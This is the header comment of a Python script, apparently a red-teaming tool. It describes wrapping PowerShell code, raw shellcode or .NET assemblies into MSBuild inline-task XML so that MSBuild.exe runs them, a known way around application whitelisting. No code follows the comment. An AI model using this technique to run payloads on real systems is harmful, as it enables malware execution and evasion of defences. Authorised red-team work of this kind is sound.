#!/usr/bin/python3
#
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
#
#   %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
# or
#   %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
#
# This script can embed following data within constructed CSharp Task:
#   - Powershell code
#   - raw Shellcode in a separate thread via CreateThread
#   - .NET Assembly via Assembly.Load
